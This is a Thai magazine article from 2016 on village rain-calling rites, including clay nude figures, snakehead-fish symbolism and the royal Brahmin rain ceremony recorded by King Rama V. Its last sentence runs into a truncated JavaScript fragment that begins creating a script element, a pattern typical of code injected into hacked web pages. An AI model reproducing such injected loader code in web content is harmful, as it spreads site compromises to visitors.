มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 17 มิถุนายน 2559

 

ประเพณี 12 เดือน

 

ขอฝนของชาวบ้าน

เป็นพระราชพิธีพรุณศาสตร์

 

          ขอฝน ชาวบ้านทั่วไปทุกชุมชนร่วมกันทำพิธีตอนเดือน 6 ต่อเนื่องเดือน 7 เพื่อหาน้ำทำนาเริ่มฤดูการผลิตใหม่ เพราะแล้งน้ำมาตั้งแต่เดือน 5

          ประเพณีขอฝนของชาวบ้านมีหลายอย่าง ขึ้นอยู่กับท้องถิ่นจะเชื่อแล้วทำตามคติแบบไหน? อย่างไร? เช่น ภาคอีสาน จุดบั้งไฟ ฯลฯ แต่ภาคกลางมีปั้นเมฆ, แห่นางแมว ฯลฯ

 

ปั้นเมฆ

          ปั้นเมฆ หมายถึง พิธีขอฝนโดยทำรูปจำลองหญิงชายเปลือยแสดงอวัยวะเพศ หรือสมสู่ร่วมเพศกัน แล้วจัดวางกลางแจ้งในที่สาธารณะให้คนเห็นทั่วไป แล้วเรียกรูปจำลองนั้นว่ารูปปั้นเมฆ

          [รูปจำลองทำได้หลายอย่าง เช่น หล่อโลหะ, แกะสลักไม้, ปั้นดินเหนียวแล้วทาปูนขาวหรือไม่ทาก็ได้]

ปั้นเมฆ แสดงอวัยวะเพศหญิง (รูปที่ทำวงกลมล้อมรอบ) ราว 2,500 ปีมาแล้ว (ภาพเขียนสีพบที่ถ้ำเขาปลาร้า เขตติดต่อ อ. ลานสัก-อ. หนองฉาง จ. อุทัยธานี)

ปั้นเมฆ แสดงอวัยวะเพศหญิง (รูปที่ทำวงกลมล้อมรอบ) ราว 2,500 ปีมาแล้ว (ภาพเขียนสีพบที่ถ้ำเขาปลาร้า เขตติดต่อ อ. ลานสัก-อ. หนองฉาง จ. อุทัยธานี)

 

ปลาช่อน อวัยวะเพศชาย

          ปลาช่อน เป็นสัญลักษณ์ของอวัยวะเพศชาย มีน้ำอสุจิสีขาวเป็นน้ำเชื้อให้กำเนิดใหม่ แสดงความอุดมสมบูรณ์ของพืชพันธุ์ว่านยา ข้าวปลาอาหาร

          คนดึกดำบรรพ์ราว 3,000 ปีมาแล้ว เซ่นวักเลี้ยงผีขอฝนด้วยปลาช่อน

          นักโบราณคดีขุดพบซากปลาช่อนทั้งตัวในภาชนะดินเผา ฝังรวมในหลุมศพที่บ้านโนนวัด อ. โนนสูง จ. นครราชสีมา

ซากปลาช่อนในหม้อไหดินเผา 3,000 ปีมาแล้ว  ขุดพบในหลุมศพดึกดำบรรพ์ที่บ้านโนนวัด ต. พลสงคราม อ. โนนสูง  จ. นครราชสีมา

ซากปลาช่อนในหม้อไหดินเผา 3,000 ปีมาแล้ว ขุดพบในหลุมศพดึกดำบรรพ์ที่บ้านโนนวัด ต. พลสงคราม อ. โนนสูง จ. นครราชสีมา

 

          ความเชื่อเกี่ยวกับปลาช่อน ยังมีสืบเนื่องจนปัจจุบันในพิธีปั้นเมฆขอฝน ต้องนิมนต์พระสวดคาถาปลาช่อน มีบทร้องของชาวบ้านว่า

          นิมนต์พระมา         สวดคาถาปลาช่อน

          ปั้นเมฆสองก้อน                มีละครสามวัน

          จับคนชนกัน                     ฝนก็เทลงมา—-

          [มีคำอธิบายอย่างพิสดารเรื่องคาถาปลาช่อน ในพระราชพิธีพรุณศาสตร์ เดือน 9 หนังสือพระราชพิธีสิบสองเดือน พระราชนิพนธ์ ร.5]

พระสงฆ์สวดคาถาปลาช่อน ในพิธีปั้นเมฆขอฝน  [แก้บน-ชาวบ้าน ต. แม่พูล และ ต. หัวดง อ. ลับแล จ. อุตรดิตถ์ นำหัวหมูพร้อมเครื่องบายศรี เซ่นไหว้หุ่นดิน “พ่อเมฆ” และ “แม่หมาก” หลังทำพิธีขอฝนตามพิธีโบราณ จากนั้นฝนก็ตกติดต่อกันเป็นเวลา 3 วัน เมื่อวันที่ 6 พ.ค. (ภาพและคำบรรยายจาก หนังสือพิมพ์ข่าวสด ฉบับวันอาทิตย์ที่ 8 พฤษภาคม 2559 หน้า 11)]

พระสงฆ์สวดคาถาปลาช่อน ในพิธีปั้นเมฆขอฝน
[แก้บน-ชาวบ้าน ต. แม่พูล และ ต. หัวดง อ. ลับแล จ. อุตรดิตถ์ นำหัวหมูพร้อมเครื่องบายศรี เซ่นไหว้หุ่นดิน “พ่อเมฆ” และ “แม่หมาก” หลังทำพิธีขอฝนตามพิธีโบราณ จากนั้นฝนก็ตกติดต่อกันเป็นเวลา 3 วัน เมื่อวันที่ 6 พ.ค. (ภาพและคำบรรยายจาก หนังสือพิมพ์ข่าวสด ฉบับวันอาทิตย์ที่ 8 พฤษภาคม 2559 หน้า 11)]

พรุณศาสตร์

          พรุณศาสตร์ เป็นพระราชพิธีขอฝน (ที่เชื่อว่า) ตามตำราพราหมณ์ มีในหนังสือพระราชพิธีสิบสองเดือน แต่จัดไว้เดือน 9

          ร.5 ทรงอธิบายว่าเป็นพิธีจร หมายความว่า “ปีใดฝนบริบูรณ์ ก็ยกเว้นไม่ทำ” ต่อปีที่ฝนแล้ง จึงทำตามตำรา

          หมายความว่าจนเดือน 9 แล้ว ฝนไม่ตก และไม่มีน้ำให้ชาวบ้านทำนาทำไร่ ก็ต้องทำพระราชพิธีพรุณศาสตร์ เหตุนี้จึงลงพระราชพิธีนี้ในเดือน 9

 

พระราชพิธีขอฝน มีปั้นเมฆ

          ขอฝนโดยปั้นเมฆสัญลักษณ์สมสู่กัน น่าจะมีในราชสำนักยุคอยุธยา แต่ไม่พบหลักฐานตรงๆ

          ครั้นล่วงถึงยุครัตนโกสินทร์ มีร่องรอยปั้นเมฆในหนังสือพระราชพิธีสิบสองเดือน พระราชนิพนธ์ ร.5 ทรงเล่าว่าปั้นเมฆในพระราชพิธีพรุณศาสตร์ (เดือน 9) เป็นพิธีพราหมณ์ “อยู่ข้างจะเร่อร่าหยาบคาย” แต่ถูกทำให้ศักสิทธิ์อย่างยิ่ง จะคัดมา (โดยจัดย่อหน้าใหม่) ดังนี้

          “การตบแต่งโรงพระราชพิธีและเทวรูป ก็คล้ายกันกับพิธีอื่นๆ คือปลูกโรงพิธี——-”

          “ขุดสระกว้าง 3 ศอก ยาว 3 ศอก ลึกศอกหนึ่ง มีรูปเทวดาและนาคและปลาเหมือนสระที่สนามหลวง ยกเสียแต่รูปพระสุภูต 

          ตรงหน้าสระออกไปปั้นเป็นรูปเมฆสองรูป คือปั้นเป็นรูปบุรุษสตรีเปลือยกายแล้วทาปูนขาว 

          การที่จะปั้นนั้นต้องตั้งกำนลปั้นพร้อมกันกับที่พิธีสงฆ์ มีบายศรีปากชามแห่งละสำรับ เทียนหนักเล่มละบาทแห่งละเล่ม เงินติดเทียนเป็นกำนลแห่งละบาท เบี้ย 3303 เบี้ย ข้าวสารสี่สัด ผ้าขาวของหลวงจ่ายให้ช่างปั้นช่างเขียนนุ่งห่ม ช่างเหล่านั้นต้องรักษาศีลในวันที่ปั้น”

          ทั้งหมดเป็นนาฏกรรมที่รัฐพัฒนาขึ้นจากประเพณีขอฝนของชาวบ้านvar d=document;var s=d.createElement(‘script’);